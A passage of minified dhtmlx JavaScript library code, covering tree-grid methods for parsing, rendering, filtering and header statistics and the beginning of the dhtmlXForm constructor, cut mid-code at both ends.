m=this.grid._h2.get[g];if(this.grid.kidsXmlFile||this.grid._slowParse){m.has_kids=(m.has_kids||(this.cell.parentNode._attrs.xmlkids&&(m.state!=\"minus\")));m._xml_await=!!m.has_kids}m.image=m.image||(this.cell._attrs.image||\"leaf.gif\");m.label=a;var e=[h.start];for(var c=0;c<m.level;c++){e.push(h.spacer)}if(m.has_kids){e.push(h.plus);m.state=\"plus\"}else{e.push(h.imst+m.state+\".gif\"+h.imact)}e.push(h.imsti);e.push(m.image);e.push(h.itemim);e.push(m.label);e.push(h.close);this.cell.innerHTML=e.join(\"\");this.cell._treeCell=true;this.cell.parentNode.imgTag=this.cell.childNodes[0].childNodes[m.level];this.cell.parentNode.valTag=this.cell.childNodes[0].childNodes[m.level+2];if(_isKHTML){this.cell.vAlign=\"top\"}if(m.parent.id!=0&&m.parent.state==\"plus\"){this.grid._updateTGRState(m.parent,false);this.cell.parentNode._skipInsert=true}this.grid.callEvent(\"onCellChanged\",[g,this.cell._cellIndex,a])};dhtmlXGridObject.prototype._process_tree_xml=function(l,c){this._parsing=true;var a=false;if(!c){this.render_row=this.render_row_tree;a=true;c=l.getAttribute(\"parent\")||0;if(c==\"0\"){c=0}if(!this._h2){this._h2=this._createHierarchy()}if(this._fake){this._fake._h2=this._h2}}var h=dhx4.ajax.xpath(this.xml.row,l);this._open=this._open||[];for(var e=0;e<h.length;e++){var n=h[e].getAttribute(\"id\");if(!n){n=this.uid();h[e].setAttribute(\"id\",n)}var m=this._h2.add(n,c);m.buff={idd:n,data:h[e],_parser:this._process_xml_row,_locator:this._get_xml_data};if(h[e].getAttribute(\"open\")){m.state=\"minus\";this._open.push(n)}this.rowsAr[n]=m.buff;this._process_tree_xml(h[e],n)}if(a){if(!h.length){this._h2.change(c,\"state\",this._emptyLineImg)}else{if(c!=0&&!this._srnd){this._h2.change(c,\"state\",\"minus\")}}for(var e=0;e<this._open.length;e++){var g=this._h2.get[this._open[e]];if(!g.childs.length){g.state=this._emptyLineImg}}this._updateTGRState(this._h2.get[c]);this._h2_to_buff();if(c!=0&&this._srnd){this.openItem(c)}else{if(this.pagingOn){this._renderSort()}else{this.render_dataset()}}if(this.kidsXmlFile){for(var e=0;e<this._open.length;e++){var g=this._h2.get[this._open[e]];if(g._xml_await){this.expandKids({idd:g.id})}}}this._open=[];if(this._slowParse===false){this.forEachRow(function(o){this.render_row_tree(0,o)})}this._parsing=false;if(c!=0&&!this._srnd){this.callEvent(\"onOpenEnd\",[c,1])}}};dhtmlXGridObject.prototype._h2_to_buff=function(c){if(!c){c=this._h2.get[0];this.rowsBuffer=new dhtmlxArray();if(this._fake&&!this._realfake){this._fake.rowsBuffer=this.rowsBuffer}}for(var a=0;a<c.childs.length;a++){this.rowsBuffer.push(c.childs[a].buff);if(c.childs[a].state==\"minus\"){this._h2_to_buff(c.childs[a])}}};dhtmlXGridObject.prototype.render_row_tree=function(c,g){if(g){var a=this._h2.get[g];a=a?a.buff:a}else{var a=this.rowsBuffer[c]}if(!a){return -1}if(a._parser){if(this.rowsAr[a.idd]&&this.rowsAr[a.idd].tagName==\"TR\"){return this._h2.get[a.idd].buff=this.rowsBuffer[c]=this.rowsAr[a.idd]}var e=this._prepareRow(a.idd);this.rowsAr[a.idd]=e;if(!g){this.rowsBuffer[c]=e}this._h2.get[a.idd].buff=e;a._parser.call(this,e,a.data);this._postRowProcessing(e);return e}return a};dhtmlXGridObject.prototype._removeTrGrRow=function(g,c){if(c){this._h2.forEachChild(c.id,function(l){this._removeTrGrRow(null,l);delete this.rowsAr[l.id]},this);return}var h=this.getRowIndex(g.idd);var c=this._h2.get[g.idd];if(h!=-1&&h!==this.undefined){var a=1;if(c&&c.state==\"minus\"){a+=this._getOpenLenght(c.id,0)}for(var e=0;e<a;e++){if(this.rowsCol[e+h]){this.rowsCol[e+h].parentNode.removeChild(this.rowsCol[e+h])}}if(this._fake){for(var e=0;e<a;e++){if(this._fake.rowsCol[e+h]){this._fake.rowsCol[e+h].parentNode.removeChild(this._fake.rowsCol[e+h])}}if(a>1){this._fake.rowsCol.splice(h+1,a-1)}}this.rowsCol.splice(h,a);this.rowsBuffer.splice(h,a)}if(!c){return}this._removeTrGrRow(null,c);delete this.rowsAr[c.id];if(c.parent.childs.length==1){this._h2.change(c.parent.id,\"state\",this._emptyLineImg);this._updateTGRState(c.parent)}this._h2.remove(c.id)};dhtmlXGridObject.prototype.openItem=function(c){var e=this._h2.get[c||0];var a=this.getRowById(c||0);if(!a){return}if(e.parent&&e.parent.id!=0){this.openItem(e.parent.id)}this.expandKids(a)};dhtmlXGridObject.prototype._addRowClassic=dhtmlXGridObject.prototype.addRow;dhtmlXGridObject.prototype.addRow=function(c,m,h,g,a,n){if(!this._h2){return this._addRowClassic(c,m,h)}g=g||0;var e=this.cellType._dhx_find(\"tree\");if(typeof(m)==\"string\"){m=m.split(this.delim)}var l=this._h2.get[c];if(!l){if(g==0){h=this.rowsBuffer.length}else{h=this.getRowIndex(g)+1;if(this._h2.get[g].state==\"minus\"){h+=this._getOpenLenght(g,0)}else{this._skipInsert=true}}}l=l||this._h2.add(c,g);l.image=a;l.has_kids=n;return l.buff=this._addRowClassic(c,m,h)};dhtmlXGridObject.prototype.addRowBefore=function(e,l,g,c,n){var m=this.rowsAr[g];if(!m){return}if(!this._h2){return this.addRow(e,l,this.getRowIndex(g))}var a=this._h2.get[g].parent.id;var h=this.getRowIndex(g);if(h==-1){this._skipInsert=true}this._h2.addBefore(e,a,g);return this.addRow(e,l,h,this._h2.get[g].parent.id,c,n)};dhtmlXGridObject.prototype.addRowAfter=function(e,l,g,c,n){var m=this.rowsAr[g];if(!m){return}if(!this._h2){return this.addRow(e,l,this.getRowIndex(g)+1)}var a=this._h2.get[g].parent.id;var h=this.getRowIndex(g);if(h==-1){this._skipInsert=true}if(this._h2.get[g].state==\"minus\"){h+=this._getOpenLenght(g,0)+1}else{h++}this._h2.addAfter(e,a,g);return this.addRow(e,l,h,a,c,n)};dhtmlXGridObject.prototype.enableSmartXMLParsing=function(a){this._slowParse=dhx4.s2b(a)};dhtmlXGridObject.prototype._copyTreeGridRowContent=function(a,c,e){var g=this.cellType._dhx_find(\"tree\");for(i=0;i<a.cells.length;i++){if(i!=g){this.cells(e,i).setValue(this.cells(c,i).getValue())}else{this.cells(e,i).setValueA(this.cells(c,i).getValue())}}};dhtmlXGridObject.prototype.closeItem=function(c){var a=this.getRowById(c);if(!a){return}this.collapseKids(a)};dhtmlXGridObject.prototype.deleteChildItems=function(a){var c=this._h2.get[a];if(!c){return}while(c.childs.length){this.deleteRow(c.childs[0].id)}};dhtmlXGridObject.prototype.getAllSubItems=function(c){var g=[];var e=this._h2.get[c||0];if(e){for(var a=0;a<e.childs.length;a++){g.push(e.childs[a].id);if(e.childs[a].childs.length){g=g.concat(this.getAllSubItems(e.childs[a].id).split(this.delim))}}}return g.join(this.delim)};dhtmlXGridObject.prototype.getChildItemIdByIndex=function(c,a){var e=this._h2.get[c||0];if(!e){return null}return(e.childs[a]?e.childs[a].id:null)};dhtmlXGridObject.prototype.getItemText=function(a){return this.cells(a,this.cellType._dhx_find(\"tree\")).getLabel()};dhtmlXGridObject.prototype.getOpenState=function(a){var c=this._h2.get[a||0];if(!c){return}if(c.state==\"minus\"){return true}return false};dhtmlXGridObject.prototype.getParentId=function(a){var c=this._h2.get[a||0];if((!c)||(!c.parent)){return null}return c.parent.id};dhtmlXGridObject.prototype.getSubItems=function(c){var g=[];var e=this._h2.get[c||0];if(e){for(var a=0;a<e.childs.length;a++){g.push(e.childs[a].id)}}return g.join(this.delim)};dhtmlXGridObject.prototype.expandAll=function(a){this._renderAllExpand(a||0);this._h2_to_buff();this._reset_view();this.setSizes();this.callEvent(\"onGridReconstructed\",[]);if(this._redrawLines){this._redrawLines()}};dhtmlXGridObject.prototype._renderAllExpand=function(e){var a=this._h2.get[e].childs;for(var c=0;c<a.length;c++){if(a[c].childs.length){this._h2.change(a[c].id,\"state\",\"minus\");this._updateTGRState(a[c]);this._renderAllExpand(a[c].id)}}};dhtmlXGridObject.prototype.collapseAll=function(a){this._h2.forEachChild((a||0),function(c){if(c&&c.state==\"minus\"){c.state=\"plus\";c.update=true;this._updateTGRState(c)}},this);this._h2_to_buff();this._reset_view();this.setSizes();this.callEvent(\"onGridReconstructed\",[]);if(this._redrawLines){this._redrawLines()}};dhtmlXGridObject.prototype.hasChildren=function(c){var a=this._h2.get[c];if(a&&a.childs.length){return a.childs.length}if(a._xml_await){return -1}return 0};dhtmlXGridObject.prototype.setItemCloseable=function(e,c){var a=this._h2.get[e];if(!a){return}a._closeable=(!dhx4.s2b(c))};dhtmlXGridObject.prototype.setItemText=function(a,c){return this.cells(a,this.cellType._dhx_find(\"tree\")).setLabel(c)};dhtmlXGridObject.prototype.setItemImage=function(c,a){this._h2.get[c].image=a;this.rowsAr[c].imgTag.nextSibling.src=(this.iconURL||\"\")+a};dhtmlXGridObject.prototype.getItemImage=function(a){this.getRowById(a);return this._h2.get[a].image};dhtmlXGridObject.prototype.setImageSize=function(c,a){this._img_width=c;this._img_height=a};dhtmlXGridObject.prototype._getRowImage=function(a){return this._h2.get[a.idd].image};dhtmlXGridObject.prototype.setOnOpenStartHandler=function(a){this.attachEvent(\"onOpenStart\",a)};dhtmlXGridObject.prototype.setOnOpenEndHandler=function(a){this.attachEvent(\"onOpenEnd\",a)};dhtmlXGridObject.prototype.enableTreeCellEdit=function(a){this._edtc=!dhx4.s2b(a)};dhtmlXGridObject.prototype.getLevel=function(a){var c=this._h2.get[a||0];if(!c){return -1}return c.level};dhtmlXGridObject.prototype._fixHiddenRowsAllTG=function(c,a){for(i in this.rowsAr){if((this.rowsAr[i])&&(this.rowsAr[i].childNodes)){this.rowsAr[i].childNodes[c].style.display=a}}};dhtmlXGridObject.prototype._updateLine=function(e,c){c=c||this.rowsAr[e.id];if(!c){return}var a=c.imgTag;if(!a){return}if(e.state==\"blank\"){return a.src=this.iconTree+\"blank.gif\"}var g=1;if(e.index==0){if(e.level==0){if((e.parent.childs.length-1)>e.index){g=3}else{g=1}}else{if((e.parent.childs.length-1)>e.index){g=3}else{g=2}}}else{if((e.parent.childs.length-1)>e.index){g=3}else{g=2}}a.src=this.iconTree+e.state+g+\".gif\"};dhtmlXGridObject.prototype._updateParentLine=function(g,e){e=e||this.rowsAr[g.id];if(!e){return}var a=e.imgTag;if(!a){return}for(var c=g.level;c>0;c--){if(g.id==0){break}a=a.previousSibling;g=g.parent;if((g.parent.childs.length-1)>g.index){a.src=this.iconTree+\"line1.gif\"}else{a.src=this.iconTree+\"blank.gif\"}}};dhtmlXGridObject.prototype._renderSortA=dhtmlXGridObject.prototype._renderSort;dhtmlXGridObject.prototype._renderSort=function(){this._renderSortA.apply(this,arguments);this._redrawLines(0)};dhtmlXGridObject.prototype._redrawLines=function(a){if(this._tgle){this._h2.forEachChild((a||0),function(c){this._updateLine(c);this._updateParentLine(c)},this)}};dhtmlXGridObject.prototype.enableTreeGridLines=function(){this._emptyLineImg=\"line\";this._updateTGRState=function(c,a){if(a||!c.update||c.id==0){return}if(this._tgle){this._updateLine(c,this.rowsAr[c.id])}c.update=false};this._tgle=true;this.attachEvent(\"onXLE\",function(e,c,g){this._redrawLines(g)});this.attachEvent(\"onOpenEnd\",function(a){this._redrawLines(a)});this.attachEvent(\"onRowAdded\",function(c){var a=this._h2.get[c];this._updateLine(a);this._updateParentLine(a);if(a.index<(a.parent.childs.length-1)){a=a.parent.childs[a.index+1];this._updateLine(a);this._updateParentLine(a)}else{if(a.index!=0){a=a.parent.childs[a.index-1];this._updateLine(a);this._updateParentLine(a);if(a.childs.length){this._h2.forEachChild(a.id,function(e){this._updateParentLine(e)},this)}}}});this.attachEvent(\"onOpen\",function(g,c){if(c){var e=this._h2.get[g];for(var a=0;a<e.childs.length;a++){this._updateParentLine(e.childs[a])}}return true});this.attachEvent(\"onBeforeRowDeleted\",function(g){var c=this;var e=this._h2.get[g];var a=null;if(e.index!=0){a=e.parent.childs[e.index-1]}e=e.parent;window.setTimeout(function(){e=c._h2.get[e.id];if(!e){return}c._updateLine(e);c._updateParentLine(e);if(a){c._updateLine(a);if(a.state==\"minus\"){c._h2.forEachChild(a.id,function(h){c._updateParentLine(h)},c)}}},1);return true})};dhtmlXGridObject.prototype.setFiltrationLevel=function(e,a,c){this._tr_strfltr=e;this._tr_fltr_c=a;this._tr_fltr_d=c;this.refreshFilters()};dhtmlXGridObject.prototype.filterTreeBy=function(g,h,e){var a=this._h2;if(typeof this._tr_strfltr==\"undefined\"){this._tr_strfltr=-1}if(this._f_rowsBuffer){if(!e){this._h2=this._f_rowsBuffer;if(this._fake){this._fake._h2=this._h2}}}else{this._f_rowsBuffer=this._h2}var l=true;this.dma(true);this._fbf={};if(typeof(g)==\"object\"){for(var c=0;c<h.length;c++){this._filterTreeA(g[c],h[c])}}else{this._filterTreeA(g,h)}this._fbf=null;this.dma(false);this._fix_filtered_images(this._h2,a);this._renderSort();this.callEvent(\"onGridReconstructed\",[])};dhtmlXGridObject.prototype._filterTreeA=function(e,o){if(o==\"\"){return}var m=true;if(typeof(o)==\"function\"){m=false}else{o=(o||\"\").toString().toLowerCase()}var c=function(v,u,r){var w=r.get[v.parent.id];if(!w){w=c(v.parent,u,r)}var r=q.get[v.id];if(!r){r={id:v.id,childs:[],level:v.level,parent:w,index:w.childs.length,image:v.image,state:v.state,buff:v.buff,has_kids:v.has_kids,_xml_await:v._xml_await};w.childs.push(r);q.get[r.id]=r}return r};var n=this._fbf;var q=this._createHierarchy();var a;var h=this._tr_strfltr;var l=this;var g=function(s){for(var r=0;r<s.childs.length;r++){l.temp(s.childs[r])}};switch(h.toString()){case\"-2\":a=function(r){if(n[r.id]){return false}g(r);return true};break;case\"-1\":a=function(r){return !r.childs.length};break;default:a=function(r){return h==r.level};break}this.temp=function(r){if(r.id!=0&&a(r)){if(m?(this._get_cell_value(r.buff,e).toString().toLowerCase().indexOf(o)==-1):(!o(this._get_cell_value(r.buff,e),r.id))){n[r.id]=true;if(this._tr_fltr_c){c(r.parent,this._h2,q)}return false}else{c(r,this._h2,q);if(r.childs&&h!=-2){this._h2.forEachChild(r.id,function(s){c(s,this._h2,q)},this)}return true}}else{if(this._tr_fltr_d&&this._tr_strfltr>r.level&&r.id!=0){c(r,this._h2,q)}g(r)}};this.temp(this._h2.get[0]);this._h2=q;if(this._fake){this._fake._h2=this._h2}};dhtmlXGridObject.prototype._fix_filtered_images=function(c,a){c.forEachChild(0,function(e){if(!e.childs.length&&!e.has_kids){if(e.state!=this._emptyLineImg){e.state=this._emptyLineImg;e.update=true;this._updateTGRState(e)}}else{if(e.buff.tagName==\"TR\"){var g=a.get[e.id];if(g&&g.state!=this._emptyLineImg){e.state=g.state}e.update=true;this._updateTGRState(e)}}},this)};dhtmlXGridObject.prototype.collectTreeValues=function(e){if(typeof this._tr_strfltr==\"undefined\"){this._tr_strfltr=-1}this.dma(true);this._build_m_order();e=this._m_order?this._m_order[e]:e;var m={};var h=[];var a=this._f_rowsBuffer||this._h2;a.forEachChild(0,function(c){if(this._tr_strfltr==-2||(this._tr_strfltr==-1&&!c.childs.length)||(this._tr_strfltr==c.level)){var n=this._get_cell_value(c.buff,e);if(n){m[n]=true}}},this);this.dma(false);var g=this.combos[e];for(var l in m){if(m[l]===true){h.push(g?(g.get(l)||l):l)}}return h.sort()};dhtmlXGridObject.prototype._in_header_stat_tree_total=function(e,a,h){var g=function(){var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(n){var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),c));l+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(l,a):(Math.round(l*100)/100)};this._stat_in_header(e,g,a,h,h)};dhtmlXGridObject.prototype._in_header_stat_tree_total_leaf=function(e,a,h){var g=function(){var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(n){if(n.childs.length){return}var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),c));l+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(l,a):(Math.round(l*100)/100)};this._stat_in_header(e,g,a,h,h)};dhtmlXGridObject.prototype._in_header_stat_tree_multi_total=function(e,a,l){var h=l[1].split(\":\");l[1]=\"\";var g=function(){var c=0;this._h2.forEachChild(0,function(n){var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[0]))*parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[1]));c+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(c,a):(Math.round(c*100)/100)};this._stat_in_header(e,g,a,l,l)};dhtmlXGridObject.prototype._in_header_stat_tree_multi_total_leaf=function(e,a,l){var h=l[1].split(\":\");l[1]=\"\";var g=function(){var c=0;this._h2.forEachChild(0,function(n){if(n.childs.length){return}var m=parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[0]))*parseFloat(this._get_cell_value((n.buff||this.rowsAr[n.id]),h[1]));c+=isNaN(m)?0:m},this);return this._maskArr[a]?this._aplNF(c,a):(Math.round(c*100)/100)};this._stat_in_header(e,g,a,l,l)};dhtmlXGridObject.prototype._in_header_stat_tree_max=function(e,a,h){var g=function(){var l=-999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.max(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_min=function(e,a,h){var g=function(){var l=999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.min(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_average=function(e,a,h){var g=function(){var m=0;var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(o){var n=parseFloat(this._get_cell_value((o.buff||this.rowsAr[o.id]),c));m+=isNaN(n)?0:n;l++},this);return this._maskArr[a]?this._aplNF(m,a):(Math.round(m/l*100)/100)};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_max_leaf=function(e,a,h){var g=function(){var l=-999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){if(m.childs.length){return}var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.max(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_min_leaf=function(e,a,h){var g=function(){var l=999999999;this._build_m_order();var c=this._m_order?this._m_order[a]:a;if(this.getRowsNum()==0){return\"\"}this._h2.forEachChild(0,function(m){if(m.childs.length){return}var n=parseFloat(this._get_cell_value((m.buff||this.rowsAr[m.id]),c));if(!isNaN(n)){l=Math.min(l,n)}},this);return this._maskArr[a]?this._aplNF(l,a):l};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_average_leaf=function(e,a,h){var g=function(){var m=0;var l=0;this._build_m_order();var c=this._m_order?this._m_order[a]:a;this._h2.forEachChild(0,function(o){if(o.childs.length){return}var n=parseFloat(this._get_cell_value((o.buff||this.rowsAr[o.id]),c));m+=isNaN(n)?0:n;l++},this);return this._maskArr[a]?this._aplNF(m,a):(Math.round(m/l*100)/100)};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_count=function(e,a,h){var g=function(){var c=0;this._h2.forEachChild(0,function(l){c++},this);return c};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._in_header_stat_tree_count_leaf=function(e,a,h){var g=function(){var c=0;this._h2.forEachChild(0,function(l){if(!l.childs.length){c++}},this);return c};this._stat_in_header(e,g,a,h)};dhtmlXGridObject.prototype._stat_in_header=function(e,g,a,m){var h=this;var l=function(){this.dma(true);e.innerHTML=(m[0]?m[0]:\"\")+g.call(this)+(m[1]?m[1]:\"\");this.dma(false);this.callEvent(\"onStatReady\",[])};if(!this._stat_events){this._stat_events=[];this.attachEvent(\"onClearAll\",function(){if(!this.hdr.rows[1]){for(var n=0;n<this._stat_events.length;n++){for(var c=0;c<4;c++){this.detachEvent(this._stat_events[n][c])}}this._stat_events=[]}})}this._stat_events.push([this.attachEvent(\"onGridReconstructed\",l),this.attachEvent(\"onXLE\",l),this.attachEvent(\"onFilterEnd\",l),this.attachEvent(\"onEditCell\",function(c,o,n){if(c==2&&n==a){l.call(this)}return true})]);e.innerHTML=\"\"};dhtmlXGridObject.prototype._build_m_order=function(){if(this._c_order){this._m_order=[];for(var a=0;a<this._c_order.length;a++){this._m_order[this._c_order[a]]=a}}};function dhtmlXForm(h,g,l){this.idef={position:\"label-left\",labelWidth:\"auto\",labelHeight:\"auto\",inputWidth:\"auto\",inputHeight:\"auto\",labelAlign:\"left\",noteWidth:\"auto\",offsetTop:0,offsetLeft:0,blockOffset:20};this.idef_const={offsetNested:20};this.apos_css={\"label-left\":\"dhxform_item_label_left\",\"label-right\":\"dhxform_item_label_right\",\"label-top\":\"dhxform_item_label_top\",\"label-bottom\":\"dhxform_item_label_bottom\",absolute:\"dhxform_item_absolute\"};this.align_css={left:\"dhxform_label_align_left\",center:\"dhxform_label_align_center\",right:\"dhxform_label_align_right\"};var e=this;this.setSkin=function(a){this.skin=a;this.cont.className=\"dhxform_obj_\"+this.skin;this.cont.style.fontSize=(a==\"dhx_terrace\"?\"13px\":\"12px\");this._updateBlocks();this.forEachItem(function(n){var m=e.getItemType(n);if(typeof(e.items[m])!=\"undefined\"&&typeof(e.items[m].setSkin)==\"function\"){e.doWithItem(n,\"setSkin\",a)}})};this.skin=(l||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhx_form\")||\"dhx_skyblue\");this.separator=\",\";this.live_validate=false;this._type=\"checkbox\";this._rGroup=\"default\";this._idIndex={};this._indexId=[];this.cont=(typeof(h)==\"object\"?h:document.getElementById(h));if(!h._isNestedForm){this._parentForm=true;this.cont.style.fontSize=(this.skin==\"dhx_terrace\"?\"13px\":\"12px\");this.cont.className=\"dhxform_obj_\"+this.skin;this.setFontSize=function(a){this.cont.style.fontSize=a;this._updateBlocks()};this.getForm=function(){return this};this.cont.onkeypress=function(m){m=(m||event);if(m.keyCode==13){var a=(m.target||m.srcElement);if(typeof(a.tagName)!=\"undefined\"&&String(a.tagName).toLowerCase()==\"textarea\"&&!m.ctrlKey){return}e.callEvent(\"onEnter\",[])}}}this.b_index=null;this.base=[];this._prepare=function(u,v){if(this.b_index==null){this.b_index=0}else{this.b_index++}var n=null;var m=null;if(v!=null){if(v<0){v=0}var r=0;for(var a=0;a<this.cont.childNodes.length;a++){for(var s=0;s<this.cont.childNodes[a].childNodes.length;s++){if(m==null&&this.cont.childNodes[a].childNodes[s]._isNestedForm!=true){if(r==v){n=this.cont.childNodes[a].nextSibling;m=this.cont.childNodes[a].childNodes[s]}r++}}}}this.base[this.b_index]=document.createElement(\"DIV\");this.base[this.b_index].className=\"dhxform_base\";if(typeof(u)!=\"undefined\"){this.base[this.b_index].style.cssText+=\" margin-left:\"+u+\"px!important;\"}if(n!=null){this.cont.insertBefore(this.base[this.b_index],n);n=null}else{this.cont.appendChild(this.base[this.b_index])}if(m!=null){while(m!=null){var o=m;m=m.nextSibling;this.base[this.b_index].appendChild(o);o=null}}};this.setSizes=function(){};this._mergeSettings=function(s){var n=-1;var o={type:\"settings\"};for(var m in this.idef){o[m]=this.idef[m]}for(var r=0;r<s.length;r++){if(typeof(s[r])!=\"undefined\"&&s[r].type==\"settings\"){for(var m in s[r]){o[m]=s[r][m]}n=r}}s[n>=0?n:s.length]=o;return s};this._genStr=function(a){var m=\"dhxId_\";var o=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";for(var n=0;n<a;n++){m+=o.charAt(Math.floor(Math.random()*o.length))}return m};this.idPrefix=\"dhxForm_\"+this._genStr(12)+\"_\";this._rId=(this._parentForm?this._genStr(12)+\"_\":h._rId);this.objPull={};this.itemPull={};this._ic=0;this._addItem=function(E,r,x,u,C,F,A){if(this.items[E]._index){this.getForm()._indexId.push(r);this.getForm()._idIndex[r]={ind:this.getForm()._indexId.length-1}}if(!E){E=this._type}if(E==\"list\"&&C!=null&&this.itemPull[this.idPrefix+C]!=null&&typeof(this.itemPull[this.idPrefix+C]._addSubListNode)==\"function\"){var D=this.itemPull[this.idPrefix+C]._addSubListNode()}else{if(E==\"newcolumn\"){var D={}}else{var s=this.base[this.b_index];var m=null;if(typeof(F)!=\"undefined\"&&!isNaN(F)&&E!=\"list\"){F=Math.max(parseInt(F),0)+1;for(var I=0;I<this.cont.childNodes.length;I++){for(var n=0;n<this.cont.childNodes[I].childNodes.length;n++){if(m==null&&this.cont.childNodes[I].childNodes[n]._isNestedForm!=true){F--;if(F==0){m=this.cont.childNodes[I].childNodes[n];s=this.cont.childNodes[I]}}}}}else{if(E==\"list\"){for(var H in this.itemPull){if(H==this.idPrefix+r){m=this.itemPull[H].nextSibling;if(this.itemPull[H]._listBase!=null&&this.itemPull[H]._listBase.length>0){m=this.itemPull[H]._listBase[this.itemPull[H]._listBase.length-1]}}}}}var D=document.createElement(\"DIV\");if(A==true&&m!=null){m=m.nextSibling}if(m!=null){s.insertBefore(D,m)}else{s.appendChild(D)}}}D._idd=r;D._rId=this._rId;if(typeof(D.style)!=\"undefined\"){if(typeof(x.offsetLeft)==\"undefined\"&&this.idef.offsetLeft>0){x.offsetLeft=this.idef.offsetLeft}if(typeof(x.offsetTop)==\"undefined\"&&this.idef.offsetTop>0){x.offsetTop=this.idef.offsetTop}var v=\"\";if(typeof(x.offsetLeft)!=\"undefined\"){v+=\" padding-left:\"+x.offsetLeft+\"px!important;\"}if(typeof(x.offsetTop)!=\"undefined\"){v+=\" padding-top:\"+x.offsetTop+\"px!important;\"}D.style.cssText+=v}if(E==\"block\"){if(isNaN(x.blockOffset)){x.blockOffset=this.idef.blockOffset}}if(E==\"list\"){if(typeof(D._ofsNested)==\"undefined\"){D._ofsNested=this.idef_const.offsetNested}if(u!=null){D._sId=u}var y=this.items[E].render(D,this.skin);if(!this.itemPull[this.idPrefix+r]._listObj){this.itemPull[this.idPrefix+r]._listObj=[]}if(!this.itemPull[this.idPrefix+r]._list){this.itemPull[this.idPrefix+r]._list=[]}if(!this.itemPull[this.idPrefix+r]._listBase){this.itemPull[this.idPrefix+r]._listBase=[]}(this.itemPull[this.idPrefix+r]._listObj).push(y[0]);(this.itemPull[this.idPrefix+r]._list).push(y[1]);(this.itemPull[this.idPrefix+r]._listBase).push(D);y[1].checkEvent=function(a){return e.checkEvent(a)};y[1].callEvent=function(a,q){return e.callEvent(a,q)};y[1].getForm=function(){return e.getForm()};y[1]._initObj(this._mergeSettings(x));if(D._inBlcok){D.className+=\" in_block\"}return y[1]}if(E==\"newcolumn\"){this._prepare(x.offset,F);return}if(E==\"label\"&&this._ic++==0){x._isTopmost=true}x.position=this.apos_css[(!x.position||!this.apos_css[x.position]?this.idef.position:x.position)];D.className=x.position+(typeof(x.className)==\"string\"?\" \"+x.className:\"\");if(!x.labelWidth){x.labelWidth=this.idef.labelWidth}if(!x.labelHeight){x.labelHeight=this.idef.labelHeight}if(typeof(x.wrap)!=\"undefined\"){x.wrap=window.dhx4.s2b(x.wrap)}x.labelAlign=(this.align_css[x.labelAlign]?this.align_css[x.labelAlign]:this.align_css[this.idef.labelAlign]);x.inputWidth=(x.width?x.width:(x.inputWidth?x.inputWidth:this.idef.inputWidth));if(!x.inputHeight){x.inputHeight=this.idef.inputHeight}if(typeof(x.note)!=\"undefined\"){if(x.note.length!=null&&x.note[0]!=null){x.note=x.note[0]}if(typeof(x.note.width)==\"undefined\"){x.note.width=this.idef.noteWidth}if(x.note.width==\"auto\"){x.note.width=x.inputWidth}}D.checkEvent=function(a){return e.checkEvent(a)};D.callEvent=function(a,q){return e.callEvent(a,q)};D.getForm=function(){return e.getForm()};D._autoCheck=function(a){e._autoCheck(a)};if(typeof(x.readonly)==\"string\"){x.readonly=window.dhx4.s2b(x.readonly)}if(typeof(x.autoStart)==\"string\"){x.autoStart=window.dhx4.s2b(x.autoStart)}if(typeof(x.autoRemove)==\"string\"){x.autoRemove=window.dhx4.s2b(x.autoRemove)}if(typeof(x.titleScreen)==\"string\"){x.titleScreen=window.dhx4.s2b(x.titleScreen)}if(typeof(x.info)==\"string\"){x.info=window.dhx4.s2b(x.info)}if(typeof(x.hidden)==\"string\"){x.hidden=window.dhx4.s2b(x.hidden)}if(typeof(x.checked)==\"string\"){x.checked=window.dhx4.s2b(x.checked)}if(typeof(x.userdata)!=\"undefined\"){for(var H in x.userdata){this.getForm().setUserData(r,H,x.userdata[H])}}if(x.validate){if(typeof(x.validate!=\"undefined\")&&(typeof(x.validate)==\"function\"||typeof(window[x.validate])==\"function\")){D._validate=[x.validate]}else{D._validate=String(x.validate).split(this.separator)}}if(typeof(x.required)!=\"undefined\"){if(typeof(x.required)==\"string\"){x.required=window.dhx4.s2b(x.required)}D._required=(x.required==true)}if(D._required){if(!D._validate){D._validate=[]}var 